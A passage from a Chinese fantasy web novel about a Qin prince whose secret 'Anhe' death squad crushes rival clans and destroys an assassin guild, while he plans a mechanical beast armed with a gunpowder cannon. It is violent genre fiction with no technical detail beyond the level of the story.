沙哑的声音不知从何处传来,惊得他差点跌坐在地。
……
北城。
公叔氏的后院,一个黑影正翻墙而出。
突然,他身形一僵,直直栽了下来。
月光下,一支漆黑的**箭贯穿了他的咽喉!
而墙角的阴影里,隐约可见一道人影收起**机,无声无息地消失在夜色中。
……
最惨烈的反抗发生在乐氏**的西城。
二十余名私兵持剑拦路,却在梆子响时同时倒地!
他们的影子不知何时已被细如发丝的钢线缠住。
暗河死士们踩着满地蜿蜒的血迹,将还在抽搐的躯体拖进巷子深处。
“乐氏,十七口。”
为首的暗河死士核对竹简,
“还差三个孩童。”
阴影里传来幼儿的呜咽。
……
此刻,萧何正自魏王宫旧址缓步而出。
玄色官袍在夜风中轻扬,腰间定秦剑的鎏金吞口映着冷月寒光。
身后十余名甲士持戟护卫,铁靴踏过青石长街,发出沉闷回响。
行至半途,街角阴影处忽有微风拂过。
“大人。”
一名驿丞装束的男子匆匆上前,低声道:
“前方巷口有流民**,恐惊扰大人车驾,请稍候片刻。”
萧何眸光微动,抬手示意:“尔等先去清道。”
甲士们领命而去。
待脚步声远去,那“驿丞”袖中滑出一枚染血的竹简,悄无声息地递到萧何手中。
萧何展开竹简,借着月光扫过上面密密麻麻的朱批,神色未变。
他指尖轻抚过最新那行尚带温热的字迹——
“各氏族均有抗命不遵者。”
“子时三刻,已全部处置。”
“知道了。”
当甲士们回来复命时,萧何已整好衣冠,依旧是那副儒雅文士模样。
“大人,前路已清。”
“嗯。”
萧何抬步向前,靴底碾过青砖缝隙里一抹未干的血迹。
更夫颤抖的梆子声从远处传来,
他忽然驻足,望向漆黑如墨的巷弄深处…
那里,几片枯叶正无声飘落。
“今夜风大。”
他轻声自语,指尖无意识地摩挲着剑柄上“定秦”二字的凹痕。
甲士们面面相觑,不知大人为何突然说起这个。
只有暗处蛰伏的影子明白。
那是给暗河的…死令!!
“先生如此激进,就不怕他们狗急跳墙?”
随行一名暗河部下改扮的小吏见状,悄然低声询问。
萧何脚步不停,淡笑道:“公子要的是活人赴咸阳,不是**进祖坟。”
“而这些人比谁都清楚…”
“活着,才能谈条件。”
萧何合上册子,指尖划过天子剑的龙纹。
“公子深谙此道。”
……
六公子府。
铸剑坊。
烈焰熊熊。
铁水翻涌。
公输仇立于机关兽前,枯瘦的手指抚过精铁铸造的兽首,眼中闪烁着狂热的振奋!
这尊形似猛虎的机关兽通体玄黑,关节处暗藏利刃,行动间寒光隐现,爪下青砖早已被踏出数道裂痕!
“公子请看!”
他声音沙哑,却难掩激动,
“此兽以精钢为骨,机关齿轮联动,可日行百里而不疲!”
“爪牙皆淬剧毒,纵是披甲之士,触之即死!!!”
赢子夜懒散地倚在软榻上假寐,闻言抬了抬眼皮:
“不错。”
公输仇一怔。
这机关兽乃是他耗费七日心血打造,威力足以匹敌百名精锐,可六公子却只给了轻飘飘的“不错”二字?
“公子……可是觉得哪里不妥?”
他小心翼翼地问道。
赢子夜慢悠悠地直起身来,目光在机关兽上扫过:“近战无敌,远程呢?”
公输仇眼睛一亮:
“这倒好办!只需在兽背上加装劲**,百步之内,箭无虚发!”
赢子夜摇了摇头:“不够。”
公输仇皱眉:“那公子的意思是……”
赢子夜忽然笑了:“你可知炼丹炸炉时的威力?”
公输仇一愣。
他虽未亲眼见过,却也听闻过炼丹事故。
丹炉炸裂,房毁人亡,方圆数丈内血肉横飞!
可这与机关兽有何干系?
赢子夜指尖轻敲机关兽的铁甲,发出沉闷的声响。
“公输先生,你说……”
他忽然俯身,盯着公输仇浑浊的双眼。
“若是能将炸炉的威力,装入这铁兽腹中,再以机关之力抛射而出——”
他手指一弹,青铜棋子“叮”的一声落入机关兽口中,顺着特制的滑道滚入深处!
“会怎样?”
公输仇浑身一震!
他枯瘦的手指颤抖着抚过机关兽的喉部构造,突然死死按住一处暗格:
“公子是说…将其装入铁丸,以底座为基,远程轰击?!”
赢子夜直起身,月光从窗棂洒落,在他脸上投下斑驳的光影。
“三百步外,破城摧寨!”
公输仇猛地**两步,老脸涨得通红。
他忽然扑到案前,疯狂翻动竹简:
“老夫明白了!若在此处加装铜管,配以棘轮机关……”
他抓起刻刀,在兽背上急速勾画。
笔尖所过之处,一副精妙的火炮构造图逐渐成型!
铜管倾斜,内置螺旋膛线,尾部设有击发机关。
“妙啊!”
公输仇突然狂笑起来。
“以硝石硫磺为药,铁丸为弹,这哪是什么机关兽……”
“这是…天罚!!!”
公输仇浑身颤抖,不是恐惧,而是狂喜!
他死死盯着赢子夜,仿佛在看一尊神祇。
这哪里是什么纨绔公子?
这分明是……
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鬼才!!!
“老、老夫这就去改!”
他声音嘶哑,几乎已跪下来。
“三日!不,两日!两日内必成!”
说着,公输仇深深俯首,额头几乎触地。
此刻在他心中,这位六公子的身影,已与那传说中的仙神无异!
然而下一刻,他却突然僵住。
枯瘦的手指无意识地搓动着:
“可公子,这炸炉丹药的配比和火候…老夫实在不精此道!”
“况且战场上临时配药,怕是来不及……”
赢子夜斜倚在软榻上,闻言漫不经心地摆了摆手。
“配比之事不必你操心。”
他从袖中抽出一卷绢布扔过去:“你只需按这个图样,打造一个能抛射一钧铁丸的机关便可。”
公输仇急忙展开绢布,只见上面绘着精妙的齿轮组与杠杆结构,中央是一个碗口粗的铜管。
他浑浊的眼睛越瞪越大。
“这、这是……”
“动力装置,也就是你口中的基座。”
赢子夜懒洋洋地换了个姿势,
“铁丸中空,填入炸炉之物,前有你这机关兽冲锋,后有巨炮远程抛射,然后……”
他做了个爆开的手势。
公输仇倒吸一口凉气,突然跪倒在地:“老朽明白了!公子妙思!!”
赢子夜却支着下巴。
“还有一事——”
他忽然抬眼,漆黑的眸子里闪过一丝令人心悸的寒光:
“我要的不是一个,而是一群。”
“啪!”
炉火突然爆响,映得公输仇脸色惨白。
他仿佛看到成百上千的机关兽冲入敌阵,身后铁丸如雨落下,继而…
天地俱焚!!!
“可、可是…”
公输仇声音发颤,
“如此耗费,光是精铁的数量,就是个天文数字啊!”
“府库里的钱,随你取用。”
轻飘飘的一句话,却让公输仇浑身剧震。
他这才惊觉,眼前这位慵懒的公子竟如此底气十足。
恐怕随手拨出的钱财…堪比大秦半年的军费!!!
“老朽……领命!”
公输仇不敢叨扰,捧着图纸躬身退下。
不一会儿,赢子夜懒洋洋地打了个响指。
“少司命。”
紫衣少女无声无息地出现在他身侧,面纱轻拂,眸光清冷。
“随我去趟蜃楼,如何?”
赢子夜唇角微扬,语气随意,却带着不容拒绝的意味。
少司命微微一怔,紫瞳中闪过一丝疑惑。
“去找你们东皇大人…”
赢子夜忽然凑近,声音压低,带着几分神秘,“谈一件大事。”
他的气息近在咫尺,少司命呼吸一滞,面纱下的脸颊蓦地染上一抹薄红。
她下意识地后退半步,指尖无意识地攥紧了衣袖。
难道……
他是要向东皇大人提…他们两人的事?
这个念头一闪而过,少司命心跳微乱,紫瞳低垂,不敢直视赢子夜的眼睛!
她指尖轻颤,声音带着难以察觉的波动。
“东皇大人说…任何事,皆由公子说了算。”
话音里的微颤,显然暴露了她此刻的心绪不稳。
赢子夜挑了挑眉,狐疑地看着她:“这件事,我自己一人可做不了主。”
少司命闻言,耳尖更红了。
还未等她反应,赢子夜已经一把拉住她的手腕,懒散却不容抗拒地往外走。
“走吧,别耽搁。”
少司命被他拽着往前,面纱下的唇轻轻抿紧,心跳如擂鼓。
他…他竟如此急切?
然而,赢子夜却完全没注意到她的异样,只是心里盘算着待会儿和东皇太一的谈判。
“希望那老家伙能够配合……”
他低声嘀咕。
少司命:“?”
第35章 我需要能炸炉的人才!
蜃楼。
观星台。
幽蓝色的星火在青铜灯盏中摇曳,映照着东皇太一那副永远笼罩在黑袍与面具之下的身影。
月神银发垂落,指尖轻抚星盘,忽然感应到了什么,抬眸道:“首领,六公子来了。”
黑金面具下传来沙哑低沉的声音:“请他进来。”
殿门无声开启,赢子夜懒散地踏入,身后跟着面纱遮脸的少司命。
他随意地扫了一眼观星台上肃立的阴阳家众人,唇角微扬。
“东皇阁下,深夜叨扰,见谅。”
东皇太一缓缓转身,面具下的目光如深渊般难以揣测。
“六公子亲临蜃楼,想必是有要事?”
“不错。”
赢子夜也不绕弯子,开门见山。
“我需要一批能炸炉的炼丹术士。”
“……”
整个观星台瞬间陷入死寂。
月神银发无风自动,素来平静的眸中闪过一丝错愕。
而少司命更是微微睁大了眼睛,面纱下的脸颊蓦地发烫。
她这才明白,赢子夜带她来蜃楼,根本不是为了……
东皇太一沉默片刻,声音低沉:“六公子要这些人做什么?”
“炼丹啊。”
赢子夜一脸理所当然,
“不然还能做什么?”
“……”
月神指尖微微收紧,星盘上的符文无规律地闪烁起来。
阴阳家炼丹术冠绝天下。
但炸炉之人,无一不是学艺不精的废物,赢子夜竟专程来讨要这些人?
一旁的星魂嗤笑一声:
“六公子莫非是在说笑?”
“阴阳家虽非诸子百家中最昌盛的一脉,但也从不留无用之人。”
“那些连丹炉都控不好的废物,早就被逐出师门了。”
赢子夜闻言,非但不恼,反而眼睛一亮:“被逐出师门的?那更好!”
东皇太一黑袍微动。
“六公子可否明言,这些人有何用处?”
“他们可是宝贝。”
赢子夜懒洋洋地靠在星台栏杆上,“炸炉次数越多,越珍贵。”
月神与星魂对视一眼,皆从对方眼中看到了深深的疑惑。
少司命站在赢子夜身后,紫瞳中满是茫然。
她已跟随赢子夜多日,却依然猜不透他此刻的意图。
东皇太一沉默良久,忽然道:“六公子所求,恐怕不止于此吧?”
赢子夜笑了:“东皇阁下果然敏锐。”
他直起身,眸光深邃,
“我要的不仅是能炸炉的术士,更要他们炸炉时的详细记录——”
“火候、配比、时机…越详尽越好。”
东皇太一沉吟半晌,缓缓抬手,星盘上的符文突然疯狂旋转。
“三日之内,阴阳家会为六公子搜罗所有符合条件的术士。”
“多谢。”
赢子夜拱手,却又像是想起什么,补充道:“对了,那些被炸伤、炸残的也要,经验更丰富。”
月神:“……”
星魂:“……”
少司命看着赢子夜,紫瞳中泛起复杂的光芒。
她忽然觉得,这位看似懒散的公子,恐怕比阴阳家所有人加起来…
都要疯狂!
东皇太一的黑金面具下传来一声几不可闻的叹息。
“月神。”
“属下在。”
“传令各部,全力搜寻。”
东皇太一顿了顿,
“此事……优先级列为最高。”
月神深深俯首:“遵命。”
赢子夜懒散地拱了拱手:“东皇阁下这份人情,本公子记下了。”
说罢,随手从袖中抛出一物。
一株通体晶莹的九叶灵芝落在星盘中央,莹莹青光瞬间照亮了整个观星台。
月神的银发无风自动,星魂手中的幽蓝火焰“嗤”地一声熄灭!
“这是……”
东皇太一黑袍微震,黑金面具下的声音罕见地出现波动。
“千年玄灵芝?”
“小玩意罢了。”
赢子夜漫不经心地摆摆手,忽然话锋一转,“对了,东皇阁下可收丹药?”
星魂冷笑一声:“六公子莫非是要将之前我们给你炼制的丹药,再卖还给我们?”
他的话戛然而止。
只见赢子夜从怀中取出一个白玉瓶,轻轻拔开塞子。
霎时间,浓郁的药香弥漫整个观星台,连星盘上的符文都开始不规律地闪烁!!!
“十颗‘太虚凝神丹’。”
赢子夜晃了晃玉瓶,“换钱。”
“咔嚓——”
月神手中的星杖突然出现一道裂痕。
她银眸圆睁,死死盯着那瓶丹药。
这分明是世间失传已久的顶级丹药,据说一颗就能让修行者的精神力暴涨三成,连多年凝固的识海壁垒都能轻易冲开!
东皇太一的黑袍无风自动,声音沙哑得可怕:“六公子可知此物的价值?”
“知道啊。”
赢子夜打了个哈欠,“所以才能换钱嘛。”
星魂的脸色变得极其难看:“你竟要用这等至宝换黄白之物?简直……”
“暴殄天物?”
赢子夜接话,似笑非笑地看着他,“本公子乐意。”
反正目前暗河也用不上这些丹药,反倒是让公输仇打造机关兽军团需要很多钱。
而用这些系统秒杀来的丹药来换,正合适。
东皇太一缓缓抬手,制止了星魂即将爆发的怒火。
“六公子若缺钱财,大可向陛下求取,何必……”
“因为这是个秘密。”
赢子夜眨了眨眼,“东皇阁下就当帮我个忙?”
观星台陷入诡异的沉默。
少司命站在赢子夜身后,紫瞳中满是震惊。
他…他要那么多钱干什么?
“这些丹药……”
东皇太一沉吟许久,“阴阳家一时恐怕难以凑足等价的金钱。”
“那就分期。”
赢子夜浑不在意地摆摆手,“反正我不急,这些东西放着也是放着。”
月神再也维持不住平静,银发剧烈舞动:“六公子可知,这种丹药,其中任意一颗都足以换一座城池?!”
赢子夜闻言,却懒洋洋地伸了个懒腰。
“我要城池做什么?现在只缺钱。”
东皇太一突然抬手,玉瓶凌空飞入他黑袍之中:“我知道了,阴阳家各分堂会调集所有现钱。”
他顿了顿,“不过,老夫有个条件。”
赢子夜挑眉:“哦?”
“日
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后若再有此等丹药……”
黑金面具下传来低沉的声音,“阴阳家愿以市价双倍收购!”
“成交。”
赢子夜爽快地击掌,转身就走,“少司命,走了。”
少司命如梦初醒,急忙跟上。
在经过星魂身边时,她明显感觉到对方身上爆发的杀气。
但赢子夜却连脚步都没停,依旧那副懒散模样。
直到两人的身影消失在阶梯尽头,观星台才轰然炸开。
“疯子!”
星魂一掌拍碎青铜灯盏,“他知不知道那瓶丹药意味着什么?!”
月神轻抚星杖上的裂痕,声音发颤:“首领,此事……”
“照做便是。”
东皇太一黑袍翻涌,“传令各分堂,变卖所有可动资产。”
“可是……”
黑金面具突然转向月神:“你以为他真缺钱?”
沙哑的声音带着前所未有的凝重。
“他这是在告诉我们,他有的是筹码!”
“还有…让云中君过来见我!”
不一会儿,云中君疾步前来,急忙跪拜于地:“见过首领!”
东皇太一的黑袍如夜色般笼罩在丹房门口,面具下的目光幽深难测。
他抬手一抛,一颗莹润如玉的丹药划过弧线,稳稳落入云中君掌心。
“这……”
云中君瞪大眼睛,手指微微发颤,“太虚凝神丹?!”
“赢子夜要一批能炸炉的炼丹术士。”
东皇太一的声音不带任何情绪,“尽快搜罗天下所有有此‘特长’之人。”
云中君一愣,满脸错愕:“炸、炸炉的?”
这种废物要来何用?!
东皇太一并未解释,只是淡淡道:“此事若办妥,另有赏赐。”
云中君眼中瞬间迸发出贪婪的光芒。
但很快又掩饰下去,恭敬叩首:“属下明白!”
“还有——”
东皇太一转身时,黑袍翻涌,“传令各分堂:凡因炸炉被逐出门墙者,若能得六公子赏识,破格擢升为核心弟子,月供十五颗‘养魂丹’。”
云中君猛地抬头,连声音都变了调:“十五颗?!”
这简直是…
离谱!!
可东皇太一的身影已然消失在观星台尽头。
只余声音幽幽传来:
“照办去吧。”
云中君呆立原地,半晌才回过神来。
他低头看着手中的太虚凝神丹,忽然咧嘴一笑,脸上的皱纹都舒展开来。
“有意思……”
他快步走向炼丹房,一把推开内侧暗格,取出一卷竹简。
指尖在“失败记录”几个字上摩挲片刻,忽然发出沙哑的笑声:“来人!”
几名药童慌忙跑进来。
“把去年那个炸毁水阁的齐地术士找来!还有前月差点把炼丹房掀翻的楚人!”
云中君眼中闪烁着精光,“再去库房取十斤硝石、五斤硫磺……”
药童们面面相觑:
“大人这是要……”
“备礼!”
云中君小心翼翼地将太虚凝神丹藏入袖中,脸上浮现出诡异的笑容。
“既然六公子喜欢会炸炉的……”
“那老夫就送他一场,惊天动地的火花!”
第36章 暗河之下,有死无生!
阴阳家,各分堂。
同样的命令如同飓风般席卷整个阴阳家势力范围。
“荒谬!”
燕地分堂的**一把拍碎桌案。
“让那些废物回来?还每月十五颗养魂丹?”
但当他看到玉简末端东皇太一的印记时,所有不满都化作了惊恐的服从。
齐地某个破败的茅屋中,一个满脸焦黑的落魄术士正在熬药。
突然,大门被踹开,几名阴阳家弟子冷着脸站在门口。
“**?”
为首的弟子皱眉看着这个因连续炸炉七次被逐出师门的废物。
“东皇阁下有令,命你即刻前往咸阳。”
**手中的药勺“咣当”落地:“咸、咸阳?”
弟子厌恶地扔过一套崭新法袍:“换好衣服,到时候好见咱们的大秦六公子。”
他补充道,“若能被选中,每月十五颗养魂丹。”
**直接瘫坐在地,随即疯狂大笑起来,笑得眼泪都流了出来。
“哈哈哈……我**也有今天!”
同样的场景在各地上演。
没有人明白东皇太一为何会下这种命令。
但所有人都清楚。
阴阳家,要变天了!!!
……
而此时此刻。
六公子府。
赢子夜独坐庭前,指尖把玩着一枚青玉符令。
月光如水,洒在他玄色衣袍上,衬得他眉目如刀。
突然,玉符微微震动,泛起幽蓝光芒。
“公子。”
赵戈苍沉稳的声音从玉符中传出。
“萧先生坐镇魏地,如今魏氏已伏,其余世族皆被**,估计三日内,必能尽数收服。”
赢子夜唇角微扬:“做得不错。”
“还有,我们探得消息,楚、齐遗族暗中联络‘血衣楼’,出千金买萧先生性命。”
赢子夜眸中寒光乍现,指节轻轻敲击石案:“哦?”
他忽然笑了,笑声冷得刺骨。
“正好……”
“让暗河,见见血吧。”
玉符那头沉默一瞬,随即传来赵弋苍压抑着兴奋的声音:
“属下明白!”
传讯切断,庭院重归寂静。
赢子夜仰头望向那轮孤月,眼底暗潮汹涌。
他仿佛已经看到咸阳宫中那些等着看他笑话的人。
扶苏的谋士、胡亥的党羽、朝堂上那些老狐狸……
当他们得知,六国派去的**连萧何的衣角都没碰到,就变成了一具具尸体时……
“呵。”
夜风拂过,将这一声冷笑吹散在月光里。
远处,一只夜枭惊飞而起,像是感应到了什么可怕的杀机。
……
夜色如墨。
魏地。
旧都大梁的街道上,冷风卷起几片枯叶,在青石板上摩擦出沙沙的声响。
血衣楼,江湖上最负盛名的**组织之一!
专接“千金买命”的买卖。
今夜,他们接了六国遗族的重金悬赏。
刺杀萧何!!!
“萧何,赢子夜的心腹,持天子剑**六国遗族……”
“他的人头,值万金!”
阴影中,三道身影无声浮现。
为首者,血衣楼天字一等**“血影”。
身形瘦削如鬼,手中一柄薄如蝉翼的短刃,在月光下泛着幽蓝寒光。
身后两名地字**“夜枭”与“残魂”紧随其后,眼中杀意凛然!
“子时三刻,萧何必死!”
三人身形一晃,如鬼魅般消失在夜色中。
然而——
他们每踏出一步,黑暗中就多出三道影子。
他们每经过一个转角,屋檐上就多出几双冰冷的眼睛。
整条街道,早已被一张无形的网笼罩。
暗河,苏醒了!!!
血影三人刚踏入一条狭窄的巷道,突然。
“咔嚓。”
一声极轻的脆响。
血影脚步一顿,瞳孔骤缩!
不对!
这条巷子不该有枯枝!
下一瞬——
“咻咻咻!”
数十道破空声同时响起!
夜枭还未来得及反应,七支**箭已从不同角度贯穿他的身体!
箭矢上淬着剧毒。
他的皮肤瞬间泛起青紫,倒地时已是一具尸体。
残魂暴喝一声,双刀舞成一片银光。
却见巷道两侧的墙壁突然翻开,六名暗河死士手持短剑杀出!
“铛铛铛!”
金铁交鸣之声如暴雨般响起!
残魂的刀法确实精湛,但暗河死士的配合更为恐怖!
第一人佯攻咽喉,逼他格挡。
第二人直取手腕,迫他变招!
第三人趁机突进,短剑刺入膝盖!!
“啊!”
残魂跪地的瞬间,四把短剑同时刺入他的后背,剑尖从前胸透出!
血影目眦欲裂,短刃如毒蛇般刺向最近的一名暗河死士,却见对方不闪不避,任由刀刃贯穿胸膛!!
然后死死抓住了他的手腕!
“你……”
血影还未反应过来,三根钢索已从不同方向缠上他的四肢!
屋顶上,五名暗河**手同时扣动**!
“噗噗噗!”
特制的破甲箭瞬间贯穿血影的肩胛、膝盖和手腕,将他钉在墙上!
直到这时,赵戈苍才从阴影中缓缓走出。
“血衣楼?”
他冷笑一声,短剑在月光下泛着寒光。
“不过如此。”
血影艰难抬头,终于看清了周围的景象!
巷道两侧的屋檐上,站着
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二十余名铁面死士!!
而每个窗口后,都藏着冰冷的**箭!
就连他们来时的路上,也已被十余名持刀**封锁!
这不是刺杀……
这是**!
“你们…”血影嘶声道,“你们到底是什么人?”
“暗河,赵戈苍。”
血影浑身一颤!
暗河?!
他瞳孔骤然收缩,握刀的手指不自觉地发紧。
这是什么组织?
江湖上何时冒出这么一号势力?
他纵横**界十余年,对天下各大势力了如指掌,却从未听说过“暗河”之名。
可眼前这群人……
血影的目光扫过四周。
那些沉默如铁的黑衣人,那些一击毙命的**手法,那种令人窒息的压迫感!
这绝不是寻常势力能培养出来的死士!
血影强压下心头惊骇,厉声喝道:“你们敢插手血衣楼的买卖?!”
“你们可知得罪血衣楼的下场?!”
赵戈苍没有回答,只是轻轻抬手。
二十余把**箭同时上弦的声音,在夜色中格外清晰。
“放。”
“咻——”
箭雨倾泻而下!
血影的身体被钉在墙上,像一只破碎的玩偶。
赵戈苍走到尸体前,短剑一挥!
“咔嚓!”
血影的头颅滚落在地。
“清理干净。”
随着他的命令,暗河死士迅速行动起来。
有人处理尸体,有人消除血迹,还有人伪装成更夫在巷口望风。
不到一刻钟,整条巷道恢复如初,仿佛什么都没发生过!
只有屋檐上一只乌鸦…
见证了这场完美的猎杀!
它歪着头,看着下方那些黑衣人无声退去,最终融入夜色。
暗河之下!
有死无生!!
……
此刻。
萧何正站在府邸的窗前,手中捧着一卷竹简,神色平静。
窗外,隐约传来几声闷响,随即归于沉寂。
他微微一笑,指尖轻抚腰间的定秦剑。
“公子的人,果然可靠。”
片刻后,赵戈苍无声无息地出现在他身后,拱手见礼。
“大人,血衣楼**已全部解决。”
萧何头也不回,淡淡道:“辛苦了。”
赵戈苍低头,眼中闪过一丝凌厉:“暗河,誓死效忠公子。”
萧何合上竹简,望向窗外的夜色。
“明日,继续。”
“六国遗族,要么跪着进咸阳……”
“要么,躺着入土!”
夜色更深,冷风呜咽。
大梁城的街道上,几具尸体被暗河死士拖入阴影,血迹被青苔无声吞噬。
无人知晓,这一夜发生了什么。
第37章 今日之后,江湖再无血衣楼!
与此同时。
夜色沉沉,六公子府内灯火幽微。
赢子夜懒散地倚在软榻上,指尖把玩着一枚青玉棋子,案几上的茶早已凉透,却不见他饮上一口。
窗外忽有风声掠过,一道传讯符破空而来,稳稳落在他掌心。
赢子夜眼皮微抬,随手捏碎符箓,赵戈苍的声音便在室内响起。
“公子,血衣楼派来的**已尽数伏诛,萧先生安然无恙。”
“嗯。”
赢子夜漫不经心地应了一声,指尖轻轻敲击着棋盘。
“血衣楼既然敢接这单生意,想必是做好了与我为敌的准备。”
“公子明鉴,血衣楼在江湖上盘踞多年,背后牵扯甚广,若要……”
“麻烦。”
赢子夜突然打断,随手将棋子抛入棋篓。
“这些所谓的**组织,最是烦人。”
“今日杀三个,明日来五个,没完没了。”
他缓缓起身,玄色衣袍在烛光下泛着幽暗的光泽:“赵戈苍,你可知道对付这种藏在暗处的老鼠,最好的办法是什么?”
赵戈苍沉声道:
“属下愚钝,请公子示下。”
赢子夜忽然笑了,那笑意却未达眼底:“当然是……把他们的鼠窝一锅端了。”
他转身望向窗外夜色,声音轻得几不可闻。
“血衣楼既然敢伸手,那就把他们的爪子都剁了。”
“属下明白了。”
赵戈苍回应:“暗河会立即着手调查血衣楼的总坛所在。”
赢子夜摆摆手,语气慵懒。
“不急,先让萧何把魏地的事情办妥。”
他顿了顿,眼中闪过一丝冷芒。
“等腾出手来,再慢慢料理这些不知死活的东西。”
“记住,要么不做,要做……”
赢子夜转身,烛火将他的影子投在墙上,竟显得格外高大。
“就要让江湖上再没有血衣楼这三个字!!!”
赵戈苍语气忠诚:
“属下领命!暗河上下,必不负公子所托!”
赢子夜重新坐回软榻,随手抓起一颗蜜饯丢进嘴里,又恢复了那副懒散模样。
“去吧。”
赵戈苍领命!
光芒灭掉的瞬间,赢子夜的目光却骤然变得锐利如刀。
他盯着案几上那枚隐入黑暗的传讯符,轻声自语:
“血衣楼……呵,正好拿你们来试试暗河的刀,够不够快。”
……
数日后,魏地事了。
萧何站在城门前,腰悬定秦剑,身后三百黑甲肃立如林。
他抬头望了望天色,淡淡道:
“启程,赴赵。”
与此同时,数百里之外。
赵戈苍立于山巅,夜风猎猎,吹动他玄色衣袍。
他身后,五十名暗河死士静默而立,铁面覆脸,唯有眼中寒光如刃。
“血衣楼总坛,就在山下。”
赵戈苍声音低沉,“公子有令——”
“今夜之后,江湖上…再无血衣楼!!”
话音未落,五十道黑影骤然散开,如夜鸦掠空,瞬息没入山庄阴影之中。
……
血衣楼正门,四名守夜**正抱刀闲谈。
“听说前日派去杀那萧何的人,一个都没回来?”
“嘘,小声点,楼主正为这事恼火……”
话音戛然而止。
“噗!噗!噗!噗!”
四支**箭破空而至,精准贯穿四人咽喉!
他们甚至来不及拔刀,便瞪着眼睛栽倒在地。
屋檐上,三名暗河**手收起劲**,身形一闪,已跃向下一处哨岗。
……
内院厢房,血衣楼“血刃堂”十二精锐正在饮酒。
突然,烛火一晃。
“谁?!”堂主厉喝起身,却见窗外月光如水,空无一人。
“啪嗒。”
一滴温热的液体落在他手背。
堂主低头。
是血!
他骇然抬头,只见房梁上倒悬着六道黑影,森冷刀锋正滴落血珠。
而他的十一名手下,此刻全都伏在案上,脖颈间一道细如发丝的红线正在缓缓渗血。
“你们……”
寒光闪过,堂主的头颅滚落酒坛,溅起一片猩红。
“敌袭——!!”
警哨终于响起。
但,为时已晚。
三十余名血衣楼**刚冲出屋舍,就被漫天箭雨逼回院中。
“结阵!”
副楼主“血爪”厉声大喝,“背靠背防御!”
话音未落,地面突然炸开!
“轰!”
三道锁链破土而出,瞬间缠住三名**脚踝。
惨叫声中,他们被生生拖入地底,只剩喷溅的血泉涌上地面。
“装神弄鬼!”
血爪暴怒挥爪,却见四周屋
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檐、树梢、影壁间,数十名鬼面**同时现身。
没有喊杀,没有叫阵!
只有刀光如雪,沉默斩落!!!
“轰隆!”
紧接着,阁楼炸裂!
血衣楼主“血无痕”破窗而出,猩红长袍已被鲜血浸透。
他刚落地,三道黑影已呈品字形围来。
左边死士双刀如剪,右边死士链刃如蛇,而在正面,赵戈苍长剑指地,剑尖滴血。
“尔等到底是谁?!”
血无痕咳着血沫,“究竟是谁在指使你们?!”
赵戈苍鬼面下的嘴角微扬:
“将死之人,何必多问。”
三人同时出手!
血无痕暴起迎战,弯刀划出漫天血影,却在接触瞬间脸色大变!!
这些死士的招式,竟全是同归于尽的杀招!!
“嗤!”
左肋被双刀切入三寸,右肩被链刃贯穿。
而赵戈苍的剑,已如火龙般刺向心窝!
“啊!!”
血无痕拼死侧身,长剑偏离心口半寸穿过。
他趁机一掌拍向赵戈苍天灵盖,却见对方不闪不避,鬼面下的双眼竟带着讥讽!
“噗!”
背后突然一凉。
血无痕缓缓低头,看到一截染血的刀尖从自己胸口透出。
不知何时,第四名暗河死士已如幽灵般出现在他身后……
“暗河**…”
赵戈苍抽回长剑,看着轰然跪地的楼主,“从来不讲规矩。”
……
寅时三刻,杀戮止歇。
赵戈苍站在尸山血海间,脚下血衣令旗已被踩碎。
五十名暗河死士无声集结,竟无一人折损!
“烧。”
火把掷入火油,烈焰腾空而起。
这座盘踞江湖数十年的**巢穴,在黎明前化作冲天火柱。
五十道黑影如来时般悄然退去,唯有灰烬中一块焦黑的铁牌,依稀可见“血衣”二字。
熊熊大火瞬间吞噬了整个山庄,映红了半边夜空。
赵戈苍带着暗河死士退至山巅,冷眼看着火海中的血衣楼。
“公子说得对。”
他低声道,“只有把麻烦彻底解决,才不叫麻烦。”
黎明时分,大火渐熄。
曾经威震江湖的血衣楼,如今只剩一片焦土。
唯有山风中飘散的灰烬,诉说着这一夜的杀戮。
第38章 如此神秘势力,到底是谁的手笔!
三日后,江湖震动。
“听说了吗?血衣楼,一夜之间,被人灭门了!”
“谁干的?”
“不知道……据说,现场只找到一块烧焦的铁片,是血衣令!”
“这证明,就连楼主血无痕那样的强者,也没能逃过这场灾难!”
茶楼中,众人噤若寒蝉。
……
十八公子府。
暗室。
烛火摇曳,映照出赵高那张苍白如纸的脸。
他指尖捏着一份密报,指节因用力而泛白。
“血衣楼…一夜之间,灰飞烟灭。”
胡亥斜倚在软榻上,指尖轻轻摩挲着一枚玉扳指,唇角勾起一抹似笑非笑的弧度。
“有意思。”
赵高缓缓抬头,眼中闪烁着阴冷的光:“公子,此事蹊跷。”
“哦?”
胡亥懒懒抬眸,“说来听听。”
“据老奴所知,多日前,血衣楼接了六国遗族的单子,派人去杀萧何。”
赵高声音低沉。
“可那些刺客,连萧何的面都没见到,就凭空消失了。”
胡亥指尖一顿:“然后呢?”
“然后——”
赵高眼中闪过一丝忌惮,
“血衣楼总坛就被人屠了个干净,一把火烧得连块完整的瓦都没剩下!”
“啪!”
胡亥手中的玉扳指突然碎裂。
“六哥……”
他轻声呢喃,眼中闪过一丝阴鸷!
“好手段啊。”
赵高眉头紧锁:“公子是说,此事与六公子有关?”
“除了他,还能有谁?”
胡亥冷笑:“萧何是他的人,血衣楼刚动了萧何,转头就被灭门。”
“这世上,哪有这么巧的事?”
赵高沉默片刻,低声道:
“可据探子回报,血衣楼总坛内留下的尸体,几乎都是一击毙命。”
“这等干净利落的**手法……”
“怎么?”
胡亥眯起眼睛。
“你觉得六哥手下,不可能有这等高手?”
“老奴只是觉得蹊跷。”
赵高谨慎道:“六公子平日不显山不露水,若真有这般势力,为何从未显露?”
胡亥忽然笑了,笑声阴冷如毒蛇吐信。
“老师啊老师,你太小看我这位六哥了。”
他站起身,踱步到窗前,望着远处章台宫的方向。
“一个能随手拿出仙丹献给父皇的人,一个敢在朝堂上说出‘夷六国三族’的人,会是个简单的角色?”
赵高眼中闪过一丝惊色。
“公子的意思是……”
“查。”
胡亥转身,眼中寒光乍现。
“给我查清楚,六哥背后,到底藏着什么。”
赵高深深俯首:“老奴明白。”
“对了。”
胡亥忽然又道,“罗网那边,最近安分点。”
赵高一愣:“公子是担心……”
“担心?”
胡亥轻笑,“不,我只是好奇。”
他指尖轻轻敲击窗棂,声音轻得几不可闻:“六哥的刀,到底有多快……”
窗外,一阵冷风卷过,吹灭了烛火。
黑暗中,胡亥的眼中,闪过一丝病态的兴奋!!
……
长公子府。
扶苏手中的竹简“啪嗒”一声落在案几上。
他怔怔地望着前来禀报的门客,温润如玉的面容罕见地浮现出一丝震惊。
“血衣楼……被灭了?”
“千真万确。”
